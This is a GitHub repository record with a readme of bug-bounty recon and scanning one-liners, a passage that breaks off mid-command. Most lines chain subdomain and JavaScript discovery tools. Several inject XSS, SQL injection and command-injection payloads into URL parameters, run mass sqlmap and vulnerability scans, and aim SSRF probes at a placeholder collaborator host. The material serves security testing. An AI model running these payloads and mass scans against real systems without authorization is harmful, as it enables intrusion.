{"id":13477267,"url":"https://github.com/KingOfBugbounty/KingOfBugBountyTips","last_synced_at":"2025-03-27T04:33:04.927Z","repository":{"id":38741131,"uuid":"290483689","full_name":"KingOfBugbounty/KingOfBugBountyTips","owner":"KingOfBugbounty","description":"Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters..","archived":false,"fork":false,"pushed_at":"2025-01-23T20:46:50.000Z","size":252,"stargazers_count":4406,"open_issues_count":0,"forks_count":842,"subscribers_count":239,"default_branch":"master","last_synced_at":"2025-03-26T19:01:44.758Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/KingOfBugbounty.png","metadata":{"files":{"readme":"Readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-08-26T11:58:10.000Z","updated_at":"2025-03-26T02:10:17.000Z","dependencies_parsed_at":"2023-01-30T19:45:56.010Z","dependency_job_id":"7c73d581-96af-423b-a2f0-1fa10ff5abf2","html_url":"https://github.com/KingOfBugbounty/KingOfBugBountyTips","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KingOfBugbounty%2FKingOfBugBountyTips","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KingOfBugbounty%2FKingOfBugBountyTips/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KingOfBugbounty%2FKingOfBugBountyTips/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/KingOfBugbounty%2FKingOfBugBountyTips/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/KingOfBugbounty","download_url":"https://codeload.github.com/KingOfBugbounty/KingOfBugBountyTips/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245785591,"owners_count":20671628,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-07-31T16:01:40.401Z","updated_at":"2025-03-27T04:33:04.903Z","avatar_url":"https://github.com/KingOfBugbounty.png","language":"Go","funding_links":["https://recon.dev/api/search?key=apiKEY\u0026domain=paypal.com","https://www.buymeacoffee.com/OFJAAAH"],"categories":["Others (1002)","Others","Go","Pentesting","bugbounty"],"sub_categories":["Payloads"],"readme":"\u003ch1 align=\"center\"\u003e 👑 What is KingOfBugBounty Project \u003c/h1\u003e \n\nOur main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. 👑\n\n## Stats King\n\n![OFJAAAH](https://github-readme-stats.vercel.app/api?username=KingOfBugbounty\u0026show_icons=true\u0026theme=dracula)\n\n[![DigitalOcean Referral Badge](https://web-platforms.sfo2.cdn.digitaloceanspaces.com/WWW/Badge%201.svg)](https://www.digitalocean.com/?refcode=703ff752fd6f\u0026utm_campaign=Referral_Invite\u0026utm_medium=Referral_Program\u0026utm_source=badge)\n\n## Join Us\n\n[![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA)\n[![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah)\n\n\u003cdiv\u003e\n  \u003ca href=\"https://www.linkedin.com/in/atjunior/\"\u003e\u003cimg src=\"https://img.shields.io/badge/LinkedIn-0077B5?style=for-the-badge\u0026logo=linkedin\u0026logoColor=white\"\u003e\u003c/img\u003e\u003c/a\u003e\n  \u003ca href=\"https://www.youtube.com/c/OFJAAAH\"\u003e\u003cimg src=\"https://img.shields.io/badge/YouTube-FF0000?style=for-the-badge\u0026logo=youtube\u0026logoColor=white\"\u003e\u003c/a\u003e\n\u003c/div\u003e\n\n## BugBuntu Download \n\n- [BugBuntu](https://sourceforge.net/projects/bugbuntu/)\n- [@bt0s3c](https://twitter.com/bt0s3c)\n- [@MrCl0wnLab](https://twitter.com/MrCl0wnLab)\n\n## Special thanks\n\n- [@bt0s3c](https://twitter.com/bt0s3c)\n- [@MrCl0wnLab](https://twitter.com/MrCl0wnLab)\n- [@Stokfredrik](https://twitter.com/stokfredrik)\n- [@Jhaddix](https://twitter.com/Jhaddix)\n- [@pdiscoveryio](https://twitter.com/pdiscoveryio)\n- [@TomNomNom](https://twitter.com/TomNomNom)\n- [@jeff_foley](https://twitter.com/@jeff_foley)\n- [@NahamSec](https://twitter.com/NahamSec)\n- [@j3ssiejjj](https://twitter.com/j3ssiejjj)\n- [@zseano](https://twitter.com/zseano)\n- [@pry0cc](https://twitter.com/pry0cc)\n- [@wellpunk](https://twitter.com/wellpunk)\n\n## Scripts that need to be installed\n\nTo run the project, you will need to install the following programs:\n\n- [Amass](https://github.com/OWASP/Amass)\n- [Anew](https://github.com/tomnomnom/anew)\n- [Anti-burl](https://github.com/tomnomnom/hacks/tree/master/anti-burl)\n- [Assetfinder](https://github.com/tomnomnom/assetfinder)\n- [Airixss](https://github.com/ferreiraklet/airixss)\n- [Axiom](https://github.com/pry0cc/axiom)\n- [Bhedak](https://github.com/R0X4R/bhedak)\n- [CF-check](https://github.com/dwisiswant0/cf-check)\n- [Chaos](https://github.com/projectdiscovery/chaos-client)\n- [Cariddi](https://github.com/edoardottt/cariddi)\n- [Dalfox](https://github.com/hahwul/dalfox)\n- [DNSgen](https://github.com/ProjectAnte/dnsgen)\n- [Filter-resolved](https://github.com/tomnomnom/hacks/tree/master/filter-resolved)\n- [Findomain](https://github.com/Edu4rdSHL/findomain)\n- [Fuff](https://github.com/ffuf/ffuf)\n- [Freq](https://github.com/takshal/freq)\n- [Gargs](https://github.com/brentp/gargs)\n- [Gau](https://github.com/lc/gau)\n- [Gf](https://github.com/tomnomnom/gf)\n- [Github-Search](https://github.com/gwen001/github-search)\n- [Gospider](https://github.com/jaeles-project/gospider)\n- [Gowitness](https://github.com/sensepost/gowitness)\n- [Goop](https://github.com/deletescape/goop)\n- [GetJS](https://github.com/003random/getJS)\n- [Hakrawler](https://github.com/hakluke/hakrawler)\n- [HakrevDNS](https://github.com/hakluke/hakrevdns)\n- [Haktldextract](https://github.com/hakluke/haktldextract)\n- [Haklistgen](https://github.com/hakluke/haklistgen)\n- [Hudson Rock Free Cybercrime Intelligence Toolset](https://www.hudsonrock.com/threat-intelligence-cybercrime-tools)\n- [Html-tool](https://github.com/tomnomnom/hacks/tree/master/html-tool)\n- [Httpx](https://github.com/projectdiscovery/httpx)\n- [Jaeles](https://github.com/jaeles-project/jaeles)\n- [Jsubfinder](https://github.com/ThreatUnkown/jsubfinder)\n- [Kxss](https://github.com/Emoe/kxss)\n- [Knoxss](https://knoxss.me/)\n- [Katana](https://github.com/projectdiscovery/katana)\n- [LinkFinder](https://github.com/GerbenJavado/LinkFinder)\n- [log4j-scan](https://github.com/fullhunt/log4j-scan)\n- [Metabigor](https://github.com/j3ssie/metabigor)\n- [MassDNS](https://github.com/blechschmidt/massdns)\n- [Naabu](https://github.com/projectdiscovery/naabu)\n- [Notify](https://github.com/projectdiscovery/notify)\n- [Paramspider](https://github.com/devanshbatham/ParamSpider)\n- [Qsreplace](https://github.com/tomnomnom/qsreplace)\n- [Rush](https://github.com/shenwei356/rush)\n- [SecretFinder](https://github.com/m4ll0k/SecretFinder)\n- [Shodan](https://help.shodan.io/command-line-interface/0-installation)\n- [ShuffleDNS](https://github.com/projectdiscovery/shuffledns)\n- [SQLMap](https://github.com/sqlmapproject/sqlmap)\n- [Subfinder](https://github.com/projectdiscovery/subfinder)\n- [SubJS](https://github.com/lc/subjs)\n- [Unew](https://github.com/dwisiswant0/unew)\n- [Unfurl](https://github.com/tomnomnom/unfurl)\n- [Urldedupe](https://github.com/ameenmaali/urldedupe)\n- [WaybackURLs](https://github.com/tomnomnom/waybackurls)\n- [Wingman](https://xsswingman.com/#faq)\n- [Goop](https://github.com/deletescape/goop)\n- [Tojson](https://github.com/tomnomnom/hacks/tree/master/tojson)\n- [X8](https://github.com/Sh1Yo/x8)\n- [xray](https://github.com/chaitin/xray)\n- [XSStrike](https://github.com/s0md3v/XSStrike)\n- [Page-fetch](https://github.com/detectify/page-fetch)\n- [HEDnsExtractor](https://github.com/HuntDownProject/HEDnsExtractor) \n\n###  BBRF SCOPE DoD\n\n```bash\nbbrf inscope add '*.af.mil' '*.osd.mil' '*.marines.mil' '*.pentagon.mil' '*.disa.mil' '*.health.mil' '*.dau.mil' '*.dtra.mil' '*.ng.mil' '*.dds.mil' '*.uscg.mil' '*.army.mil' '*.dcma.mil' '*.dla.mil' '*.dtic.mil' '*.yellowribbon.mil' '*.socom.mil'\n```\n### Xray Oneliner\n```bash\nxargs -a urls.txt -I@ sh -c './xray webscan --plugins cmd-injection,sqldet,xss --url \"@\" --html-output vuln.html'\n\n```\n\n###  Katana crawling\n\n```bash\nsubfinder -d hackerone.com -silent -all | httpx -silent | katana -d 5 -silent | grep -iE '\\.js'| grep -iEv '(\\.jsp|\\.json)'\nsubfinder -d hackerone.com -silent -all | httpx -silent | katana -d 5 -silent -em js,jsp,json\n```\n\n\n###  Scan All domains using Knoxss\n- [Explained command]\n```bash\necho \"dominio\" | subfinder -silent | gau | grep \"=\" | uro | gf xss | awk '{ print \"curl https://knoxss.me/api/v3 -d \\\"target=\"$1 \"\\\" -H \\\"X-API-KEY: APIDOKNOXSS\\\"\"}' | sh \n```\n\n\n###  Scan All github repo ORG\n- [Explained command]\n```bash\ndocker run --rm  mswell/masstrufflehog -o paypal\n\n```\n\n###  Scan log4j using BBRF and log4j-scan\n- [Explained command](https://bit.ly/3IUivk9)\n```bash\nbbrf domains | httpx -silent | xargs -I@ sh -c 'python3 http://log4j-scan.py -u \"@\"'\n```\n\n###  SSTI in qsreplase add \"{{7*7}}\" (0xJin)\n\n```bash\ncat subdomains.txt | httpx -silent -status-code | gau --threads 200 | qsreplace “aaa%20%7C%7C%20id%3B%20x” \u003e fuzzing.txt\nffuf -ac -u FUZZ -w fuzzing.txt -replay-proxy 127.0.0.1:8080\n\n```\n\n###  urldedupe bhedak\n- [Explained command]\n```bash\nwaybackurls testphp.vulnweb.com | urldedupe -qs | bhedak '\"\u003e\u003csvg onload=confirm(1)\u003e' | airixss -payload \"confirm(1)\" | egrep -v 'Not'\n```\n\n### Hakrawler Airixss XSS \n- [Explained command]\n```bash\necho testphp.vulnweb.com | httpx -silent | hakrawler -subs | grep \"=\" | qsreplace '\"\u003e\u003csvg onload=confirm(1)\u003e' | airixss -payload \"confirm(1)\" | egrep -v 'Not'\n```\n\n\n###  Airixss XSS \n- [Explained command]\n```bash\necho testphp.vulnweb.com | waybackurls | gf xss | uro | httpx -silent | qsreplace '\"\u003e\u003csvg onload=confirm(1)\u003e' | airixss -payload \"confirm(1)\"\n```\n\n\n###  FREQ XSS \n- [Explained command]\n```bash\necho testphp.vulnweb.com | waybackurls | gf xss | uro | qsreplace '\"\u003e\u003cimg src=x onerror=alert(1);\u003e' | freq | egrep -v 'Not'\n```\n\n\n###  Bhedak\n- [Explained command]\n```bash\ncat urls | bhedak \"\\\"\u003e\u003csvg/onload=alert(1)\u003e*'/---+{{7*7}}\"\n```\n\n###  .bashrc shortcut OFJAAAH\n\n```bash\nreconjs(){\ngau -subs $1 |grep -iE '\\.js'|grep -iEv '(\\.jsp|\\.json)' \u003e\u003e js.txt ; cat js.txt | anti-burl | awk '{print $4}' | sort -u \u003e\u003e AliveJs.txt\n}\ncert(){\ncurl -s \"[https://crt.sh/?q=%.$1\u0026output=json](https://crt.sh/?q=%25.$1\u0026output=json)\" | jq -r '.[].name_value' | sed 's/\\*\\.//g' | anew\n}\nanubis(){\ncurl -s \"[https://jldc.me/anubis/subdomains/$1](https://jldc.me/anubis/subdomains/$1)\" | grep -Po \"((http|https):\\/\\/)?(([\\w.-]*)\\.([\\w]*)\\.([A-z]))\\w+\" | anew\n}\n```\n\n###  Oneliner Haklistgen\n- @hakluke\n\n```bash\nsubfinder -silent -d domain | anew subdomains.txt | httpx -silent | anew urls.txt | hakrawler | anew endpoints.txt | while read url; do curl $url --insecure | haklistgen | anew wordlist.txt; done\ncat subdomains.txt urls.txt endpoints.txt | haklistgen | anew wordlist.txt;\n```\n\n###  Running JavaScript on each page send to proxy. \n- [Explained command]\n\n```bash\ncat 200http | page-fetch --javascript '[...document.querySelectorAll(\"a\")].map(n =\u003e n.href)' --proxy http://192.168.15.47:8080\n```\n\n###  Running cariddi to Crawler\n- [Explained command]\n\n```bash\necho tesla.com | subfinder -silent | httpx -silent | cariddi -intensive\n```\n\n###  Dalfox scan to bugbounty targets.\n- [Explained command]\n\n```bash\nxargs -a xss-urls.txt -I@ bash -c 'python3 /dir-to-xsstrike/xsstrike.py -u @ --fuzzer'\n```\n\n### Dalfox scan to bugbounty targets.\n- [Explained command]\n```bash\nwget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @\n```\n\n### Using x8 to Hidden parameters discovery\n- [Explaining command]\n\n```bash\nassetfinder domain | httpx -silent | sed -s 's/$/\\//' | xargs -I@ sh -c 'x8 -u @ -w params.txt -o enumerate'\n```\n\n### Extract .js Subdomains\n- [Explaining command]\n\n```bash\necho \"domain\" | haktrails subdomains | httpx -silent | getJS --complete | anew JS\necho \"domain\" | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1\n```\n\n\n### goop to search .git files.\n- [Explaining command]\n\n```bash\nxargs -a xss -P10 -I@ sh -c 'goop @'\n```\n\n### Using chaos list to enumerate endpoint\n\n```bash\ncurl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains[]' | xargs -I@ sh -c 'python3 paramspider.py -d @'\n```\n\n### Using Wingman to search XSS reflect / DOM XSS\n\n- [Explaining command]\n\n```bash\nxargs -a domain -I@ sh -c 'wingman -u @ --crawl | notify'\n\n```\n\n### Search ASN to metabigor and resolvers domain\n\n- [Explaining command]\n\n```bash\necho 'dod' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]\\+\\.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew'\n\n```\n\n### OneLiners\n\n### Search .json gospider filter anti-burl\n\n- [Explaining command]\n\n```bash\ngospider -s https://twitch.tv --js | grep -E \"\\.js(?:onp?)?$\" | awk '{print $4}' | tr -d \"[]\" | anew | anti-burl\n\n```\n\n### Search .json subdomain\n\n- [Explaining command]\n\n```bash\nassetfinder http://tesla.com | waybackurls | grep -E \"\\.json(?:onp?)?$\" | anew \n```\n\n### SonarDNS extract subdomains\n\n- [Explaining command]\n\n```bash\nwget https://opendata.rapid7.com/sonar.fdns_v2/2021-02-26-1614298023-fdns_a.json.gz ; gunzip 2021-02-26-1614298023-fdns_a.json.gz ; cat 2021-02-26-1614298023-fdns_a.json | grep \".DOMAIN.com\" | jq .name | tr '\" \" \"' \" / \" | tee -a sonar\n```\n\n### Kxss to search param XSS \n\n- [Explaining command]\n\n```bash\necho http://testphp.vulnweb.com/ | waybackurls | kxss\n```\n\n\n### Recon subdomains and gau to search vuls DalFox\n\n- [Explaining command]\n\n```bash\nassetfinder testphp.vulnweb.com | gau |  dalfox pipe\n```\n\n\n### Recon subdomains and Screenshot to URL using gowitness\n\n- [Explaining command]\n\n```bash\nassetfinder -subs-only army.mil | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @' \n```\n\n\n###  Extract urls to source code comments\n\n- [Explaining command]\n\n```bash\ncat urls1 | html-tool comments | grep -oE '\\b(https?|http)://[-A-Za-z0-9+\u0026@#/%?=~_|!:,.;]*[-A-Za-z0-9+\u0026@#/%=~_|]' \n```\n\n###  Axiom recon \"complete\"\n\n- [Explaining command]\n\n```bash\nfindomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr \",\" \" \" | awk '{print $2}' | fff | grep 200 | sort -u \n```\n\n###  Domain subdomain extraction \n\n- [Explaining command]\n\n```bash\ncat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent  -threads 100 | anew httpDomain'\n\n```\n\n\n###  Search .js using \n\n- [Explaining command]\n\n```bash\nassetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E \"\\.js(?:onp?)?$\" | anew\n```\n\n\n###  This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below.\n\n- [Explaining command]\n\n```bash\ncat dominios | gau |grep -iE '\\.js'|grep -iEv '(\\.jsp|\\.json)' \u003e\u003e gauJS.txt ; cat dominios | waybackurls | grep -iE '\\.js'|grep -iEv '(\\.jsp|\\.json)' \u003e\u003e waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo \"(http|https)://[^/\\\"].*\\.js+\" | sed \"s#\\] \\- #\\n#g\" \u003e\u003e gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u \u003e\u003e saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u \u003e\u003e AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c \"echo -e '\\n[URL]: @\\n'; python3 linkfinder.py -i @ -o cli\" ; cat AliveJs.txt  | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u \u003e\u003e output/resultJSPASS'\n```\n\n\n###  My recon automation simple. OFJAAAH.sh\n\n- [Explaining command]\n\n```bash\nchaos -d $1 -o chaos1 -silent ; assetfinder -subs-only $1 \u003e\u003e assetfinder1 ; subfinder -d $1 -o subfinder1 -silent ; cat assetfinder1 subfinder1 chaos1 \u003e\u003e hosts ; cat hosts | anew clearDOMAIN ; httpx -l hosts -silent -threads 100 | anew http200 ; rm -rf chaos1 assetfinder1 subfinder1\n```\n\n###  Download all domains to bounty chaos\n\n- [Explaining command]\n\n```bash\ncurl https://chaos-data.projectdiscovery.io/index.json | jq -M '.[] | .URL | @sh' | xargs -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt \u003e\u003e allbounty ; sort -u allbounty \u003e\u003e domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH'\n```\n\n###  Recon to search SSRF Test\n\n- [Explaining command]\n\n```bash\nfindomain -t DOMAIN -q | httpx -silent -threads 1000 | gau |  grep \"=\" | qsreplace http://YOUR.burpcollaborator.net\n```\n\n\n###  ShuffleDNS to domains in file scan nuclei.\n\n- [Explaining command]\n\n```bash\nxargs -a domain -I@ -P500 sh -c 'shuffledns -d \"@\" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1\n```\n\n\n###  Search Asn Amass\n\n- [Explaining command]\n\nAmass intel will search the organization \"paypal\" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me)\n\n```bash\namass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500''\n```\n\n###  SQLINJECTION Mass domain file\n\n- [Explaining command]\n\n```bash\n\nhttpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli \u003e\u003e sqli ; sqlmap -m sqli --batch --random-agent --level 1'\n```\n\n\n###  Using chaos search js\n\n\n- [Explaining command]\n\nChaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of \"att.com\". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for \"(http|https)://att.com\" to make sure we dont recieve output for domains that are not \"att.com\".\n\n```bash\nchaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s \"@\" -d 2' | grep -Eo \"(http|https)://[^/\"].*.js+\" | sed \"s#]\n```\n\n###  Search Subdomain using Gospider\n\n\n- [Explaining command]\n\nGoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS\n\n```bash\ngospider -d 0 -s \"https://site.com\" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/\"]+' | anew\n```\n\n###  Using gospider to chaos\n\n\n- [Explaining command]\n\nGoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input.\n\n\n```bash\nchaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s \"@\" -d 3'\n```\n\n###  Using recon.dev and gospider crawler subdomains\n\n- [Explaining command]\n\nWe will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces\nIf anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains.\nXargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls.\n\n```bash\ncurl \"https://recon.dev/api/search?key=apiKEY\u0026domain=paypal.com\" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/\"]+' | anew\n```\n\n###  PSQL - search subdomain using cert.sh\n\n- [Explaining command]\n\nMake use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs\n\n```bash\npsql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2\u003e/dev/null | tr ', ' '\\n' | grep twitch | anew\n```\n\n###  Search subdomains using github and httpx\n\n- [Github-search]\n\nUsing python3 to search subdomains, httpx filter hosts by up status-code response (200)\n\n```python\n./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title\n```\n\n###  Search SQLINJECTION using qsreplace search syntax error\n\n- [Explained command]\n\n```bash\ngrep \"=\"  .txt| qsreplace \"' OR '1\" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn \"syntax\\|mysql\" output 2\u003e/dev/null \u0026\u0026 \\printf \"TARGET \\033[0;32mCould Be Exploitable\\e[m\\n\" || printf \"TARGET \\033[0;31mNot Vulnerable\\e[m\\n\"\n```\n\n###  Search subdomains using jldc\n\n- [Explained command]\n\n```bash\ncurl -s \"https://jldc.me/anubis/subdomains/att.com\" | grep -Po \"((http|https):\\/\\/)?(([\\w.-]*)\\.([\\w]*)\\.([A-z]))\\w+\" | anew\n```\n\n###  Search subdomains in assetfinder using hakrawler spider to search links in content responses\n\n- [Explained command]\n\n```bash\nassetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep \"tesla\"\n```\n\n###  Search subdomains in cert.sh\n\n- [Explained command]\n\n```bash\ncurl -s \"https://crt.sh/?q=%25.att.com\u0026output=json\" | jq -r '.[].name_value' | sed 's/\\*\\.//g' | httpx -title -silent | anew\n```\n\n###  Search subdomains in cert.sh assetfinder to search in link /.git/HEAD\n\n- [Explained command]\n\n```bash\ncurl -s \"https://crt.sh/?q=%25.tesla.com\u0026output=json\" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew\n```\n```bash\ncurl -s \"https://crt.sh/?q=%25.enjoei.com.br\u0026output=json\" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew\n```\n###  Collect js files from hosts up by gospider\n\n- [Explained command]\n\n```bash\nxargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2\u003e/dev/null \u0026\u0026 echo @' | xargs -I@ -P10 sh -c 'gospider -a -s \"https://@\" -d 2 | grep -Eo \"(http|https)://[^/\\\"].*\\.js+\" | sed \"s#\\] \\- #\\n#g\" | anew'\n```\n\n###  Subdomain search Bufferover resolving domain to httpx\n\n- [Explained command]\n\n```bash\ncurl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\\n/g' | httpx -silent | anew\n```\n\n###  Using gargs to gospider search with parallel proccess\n- [Gargs](https://github.com/brentp/gargs)\n\n- [Explained command]\n\n```bash\nhttpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne\n```\n\n###  Injection xss using qsreplace to urls filter to gospider\n\n- [Explained command]\n\n```bash\ngospider -S domain.txt -t 3 -c 100 |  tr \" \" \"\\n\" | grep -v \".js\" | grep \"https://\" | grep \"=\" | qsreplace '%22\u003e\u003csvg%20onload=confirm(1);\u003e'\n```\n\n###  Extract URL's to apk\n\n- [Explained command]\n\n```bash\napktool d app.apk -o uberApk;grep -Phro \"(https?://)[\\w\\.-/]+[\\\"'\\`]\" uberApk/ | sed 's#\"##g' | anew | grep -v \"w3\\|android\\|github\\|schemas.android\\|google\\|goo.gl\"\n```\n\n###  Chaos to Gospider\n\n- [Explained command]\n\n```bash\nchaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H \"x-forwarded-for: 127.0.0.1\" -H \"User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\" -s @\n```\n\n###  Checking invalid certificate\n\n- [Real script](https://bit.ly/2DhAwMo)\n- [Script King](https://bit.ly/34Z0kIH)\n\n```bash\nxargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2\u003e /dev/null' | grep \"EXPIRED\" | awk '/domain/{print $5}' | httpx\n```\n\n###  Using shodan \u0026 Nuclei\n\n- [Explained command]\n\nShodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column.\nhttpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates.\n\n```bash\nshodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/\n```\n\n###  Open Redirect test using gf.\n\n- [Explained command]\n\necho is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates.\n\n```bash\necho \"domain\" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew\n```\n\n###  Using shodan to jaeles \"How did I find a critical today? well as i said it was very simple, using shodan and jaeles\".\n\n- [Explained command]\n\n```bash\nshodan domain domain| awk '{print $3}'|  httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @\n```\n###  Using Chaos to jaeles \"How did I find a critical today?.\n\n- [Explained command]\n\nTo chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. \n\n```bash\nchaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ \n```\n\n###  Using shodan to jaeles\n\n- [Explained command]\n\n```bash\ndomain=\"domaintotest\";shodan domain $domain | awk -v domain=\"$domain\" '{print $1\".\"domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts \n```\n\n###  Search to files using assetfinder and ffuf\n\n- [Explained command]\n\n```bash\nassetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H \"Content-Type: 